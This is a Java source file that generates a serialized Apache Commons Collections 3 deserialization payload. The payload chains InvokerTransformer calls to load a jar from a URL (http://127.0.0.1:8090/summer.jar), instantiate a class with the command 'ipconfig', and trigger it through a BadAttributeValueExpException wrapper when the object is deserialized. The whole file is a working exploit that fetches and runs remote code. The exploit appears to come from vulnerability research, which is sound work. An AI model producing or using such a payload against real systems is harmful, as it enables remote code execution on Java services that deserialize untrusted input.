package vul.ccbug;


import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import vul.util.Reflections;

import javax.management.BadAttributeValueExpException;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.net.URLClassLoader;
import java.util.HashMap;
import java.util.Map;

/**
 * @ClassName: CC3display
 * @Description: TODO
 * @Author: Summer
 * @Date: 2020/5/24 18:57
 * @Version: v1.0.0
 * @Description: CC3反序列化漏洞回显
 **/
public class CC3display {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(URLClassLoader.class),
                new InvokerTransformer("getConstructor",
                        new Class[]{Class[].class},
                        new Object[]{new Class[]{URL[].class}}),
                new InvokerTransformer("newInstance",
                        new Class[]{Object[].class},
                        new Object[]{new Object[]{new URL[]{new URL("http://127.0.0.1:8090/summer.jar")}}}),
                new InvokerTransformer("loadClass",
                        new Class[]{String.class},
                        new Object[]{"summer"}),
                new InvokerTransformer("getConstructor",
                        new Class[]{Class[].class},
                        new Object[]{new Class[]{String.class}}),
                new InvokerTransformer("newInstance",
                        new Class[]{Object[].class},
                        new Object[]{new String[]{"ipconfig"}})


        };
        Transformer transformerChain = new ChainedTransformer(transformers);



        // 创建漏洞map Object
        Map inmap = new HashMap();
        Map lazymap = LazyMap.decorate(inmap,transformerChain);
        TiedMapEntry entry = new TiedMapEntry(lazymap,"hack by Summer");




        // 创建异常，在反序列化时触发payload
        BadAttributeValueExpException expException = new BadAttributeValueExpException(null);
        try {
            Field field = expException.getClass().getDeclaredField("val");
            field.setAccessible(true);
            field.set(expException, entry);

        } catch (NoSuchFieldException | IllegalAccessException e) {
            e.printStackTrace();
        }



        File file = new File("tempfile2");
        FileOutputStream fis = new FileOutputStream(file);
        ObjectOutputStream oos = new ObjectOutputStream(fis);
        oos.writeObject(expException);
        oos.flush();



    }




}
